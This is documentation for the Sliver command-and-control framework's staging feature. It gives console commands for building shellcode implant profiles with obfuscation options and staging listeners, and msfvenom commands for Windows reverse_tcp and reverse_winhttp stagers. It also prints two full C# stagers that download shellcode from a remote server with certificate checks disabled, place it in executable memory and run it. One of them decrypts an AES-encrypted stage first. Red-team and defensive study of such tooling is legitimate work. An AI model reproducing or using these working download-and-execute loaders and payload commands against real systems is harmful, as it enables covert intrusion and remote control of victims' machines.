Stagers

⚠️ Important: Some staged payloads require a working cross-compiler toolchain on the Sliver server (especially shared libraries and non-native targets). Sliver bundles a Zig toolchain for many Windows/Linux targets, but macOS shared library/shellcode builds require osxcross.

Overview

As payloads can be pretty big (around 10MB), you may sometime require the use of stagers to execute your implant on a target system.

Sliver supports the meterpreter staging protocol over TCP and HTTP(S). This protocol is pretty straight forward:

  • read the size of the stage 2 payload on the wire (the first 4 bytes for the TCP stager)
  • download the stage 2
  • allocate the size read in the first step, and write the stage in memory

For this to work, we need the following pieces:

  • a staging server (the Sliver server)
  • a stage 2 payload (usually a Sliver shellcode, but can be in other formats)
  • stagers (generated by msfvenom, the Sliver generate stager command, or a custom one)

Example

Sliver implements staging by reusing the profiles feature. Profiles are sorts of implant blueprints that define a configuration to be reused by the profiles new command.
The following command creates a new profile that we will use for our staging listener:

sliver > profiles new --mtls 192.168.122.1 --format shellcode win-shellcode

[*] Saved new profile win-shellcode

sliver > profiles

Name           Platform       Command & Control              Debug  Format      Obfuscation   Limitations
====           ========       =================              =====  ======      ===========   ===========
win-shellcode  windows/amd64  [1] mtls://192.168.122.1:8888  false  SHELLCODE   enabled

Shellcode generation varies by platform:

  • Windows shellcode uses Donut and supports all shellcode tuning flags below.
  • macOS (darwin/arm64) and Linux (amd64/arm64) shellcode currently only support --shellcode-compress; other --shellcode-* options are Windows-only.

Shellcode options:

  • --shellcode-encoder: apply an optional shellcode encoder (see: shellcode-encoders)
  • --shellcode-compress: enable/disable aPLib compression (boolean) (Windows, macOS, Linux)
  • --shellcode-entropy: 1=none, 2=random names, 3=random+encrypt (Windows only)
  • --shellcode-exitopt: 1=exit thread, 2=exit process, 3=block (Windows only)
  • --shellcode-bypass: 1=none, 2=abort on failure, 3=continue (Windows only)
  • --shellcode-headers: 1=overwrite, 2=keep (Windows only)
  • --shellcode-thread: run unmanaged EXE entrypoint as a new thread (boolean) (Windows only)
  • --shellcode-unicode: pass Unicode command line to unmanaged DLL entrypoints (boolean) (Windows only)
  • --shellcode-oep: override original entry point (uint32, 0=default) (Windows only)

Example:

sliver > profiles new --mtls 192.168.122.1 --format shellcode --shellcode-entropy 2 --shellcode-compress --shellcode-exitopt 3 win-shellcode

Linux example (compression only):

sliver > profiles new --os linux --arch amd64 --mtls 192.168.122.1 --format shellcode --shellcode-compress linux-shellcode

We can now create a staging listener and link it to the profile:

sliver > stage-listener --url http://192.168.122.1:1234 --profile win-shellcode

[*] No builds found for profile win-shellcode, generating a new one
[*] Job 1 (tcp) started
sliver > jobs

ID  Name  Protocol  Port
==  ====  ========  ====
1   http  tcp       1234
2   mtls  tcp       8888

Metasploit: Bring Your Own Stager

Using Metasploit stagers is only supported on Windows.

Generating an HTTP stager

If you want to use stagers generated by the Metasploit Framework with Sliver (using msfconsole or msfvenom), you will need to pass the additional --prepend-size flag to stage-listener, like this:

sliver > stage-listener --url http://192.168.122.1:1234 --profile win-shellcode --prepend-size

This will prepend the size of the payload to the final binary sent to the stager, as required by Metasploit's custom payloads.

Sliver staging listeners only accept tcp://, http:// and https:// schemes for the --url flag. The format for this flag is scheme://IP:PORT. If no value is specified for PORT, an error will be thrown out.

Either msfconsole or msfvenom can be used directly to generate stager shellcodes or binaries with the custom payload type:

msfvenom --payload windows/x64/custom/reverse_winhttp LHOST=192.168.122.1 LPORT=1234 LURI=/hello.woff --format raw --out /tmp/stager.bin

Remark: At the moment, the custom/reverse_http payload is not compatible with Sliver shellcodes (the stager crashes). However, one can use the custom/reverse_winhttp payload instead.

Depending on the payload you choose, you can specify additional options, such as HTTP proxy settings. Use the msfvenom flag --list-options with a payload type or show advanced in msfconsole.

Generating a TCP stager

Use the stage-listener command to set up a listener that will send the binary to the stager:

silver > stage-listener --url tcp://192.168.122.1:1234 --profile win-shellcode --prepend-size

Notice that we are using the tcp:// scheme because this is a TCP stager. The --prepend-size option is still necessary because we will be using Metasploit.

As above, either msfconsole or msfvenom can be used directly to generate stager shellcodes or binaries with the custom payload type. Here is an example using msfvenom:

# LHOST and LPORT should correspond to the --url parameter of your stage-listener command

msfvenom --payload windows/x64/custom/reverse_tcp LHOST=192.168.122.1 LPORT=1234 --format raw --out /tmp/stager.bin

Custom Stagers

One thing to consider while writing or using a custom stager, especially for the HTTP protocol, is that the Sliver server will only serve stage 2 payloads on specifically defined URLs. Indeed, since the HTTP staging listener is reusing the regular HTTP listener, it follows the same procedural HTTP protocol.

The default file extension used to retrieve a stage 2 payload is .woff. It can be configured in the HTTP C2 options using the stager_file_ext setting.

As a result, if you want to implement your own stager to fetch a stage 2 payload via HTTP, you need to query a URL that looks like this: http://SLIVER-SERVER:STAGING-PORT/whatever.woff.

Here is a C# example of a custom HTTP stager, make sure to compile the C# code for the correct CPU architecture e.g. /platform:x64:

using System;
using System.Net;
using System.Runtime.InteropServices;

namespace SliverStager
{
    public class Stager
    {
        private static string url = "http://a.bc/test.woff";

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        public static void DownloadAndExecute()
        {
            ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
            System.Net.WebClient client = new System.Net.WebClient();
            byte[] shellcode = client.DownloadData(url);
            IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
            Marshal.Copy(shellcode, 0, addr, shellcode.Length);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            return;
        }

        public static void Main(String[] args)
        {
            DownloadAndExecute();
        }
    }
}

Encrypted Stage Example

Sliver supports encryption and compression when serving stages. Compression options are zlib, gzip, and deflate (level 9). Encryption is done via AES-CBC-128, since this encryption is primarily for obfuscation we don't really need a more secure cipher mode.

stage-listener --url http://192.168.0.52:80 --profile win-shellcode --aes-encrypt-key D(G+KbPeShVmYq3t --aes-encrypt-iv 8y/B?E(G+KbPeShV

If aes-encrypt-iv is not set it defaults to 0000000000000000. After the stage generation is completed AES key and iv are displayed. Note that this example does not include compression:

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;

namespace Sliver_stager
{
    class Program
    {
        private static string AESKey = "D(G+KbPeShVmYq3t";
        private static string AESIV = "8y/B?E(G+KbPeShV";
        private static string url = "http://192.168.24.128:8443/test.woff";

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        public static void DownloadAndExecute()
        {
            ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
            System.Net.WebClient client = new System.Net.WebClient();
            byte[] shellcode = client.DownloadData(url);

            List<byte> l = new List<byte> { };

            for (int i = 16; i <= shellcode.Length -1; i++) {
                l.Add(shellcode[i]);
            }

            byte[] actual = l.ToArray();

            byte[] decrypted;

            decrypted = Decrypt(actual, AESKey, AESIV);
            IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)decrypted.Length, 0x3000, 0x40);
            Marshal.Copy(decrypted, 0, addr, decrypted.Length);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            return;
        }

        private static byte[] Decrypt(byte[] ciphertext, string AESKey, string AESIV)
        {
            byte[] key = Encoding.UTF8.GetBytes(AESKey);
            byte[] IV = Encoding.UTF8.GetBytes(AESIV);

            using (Aes aesAlg = Aes.Create())
            {
                aesAlg.Key = key;
                aesAlg.IV = IV;
                aesAlg.Padding = PaddingMode.None;

                ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);

                using (MemoryStream memoryStream = new MemoryStream(ciphertext))
                {
                    using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Write))
                    {
                        cryptoStream.Write(ciphertext, 0, ciphertext.Length);
                        return memoryStream.ToArray();
                    }
                }
            }
        }

        public static void Main(String[] args)
        {
            DownloadAndExecute();
        }
    }
}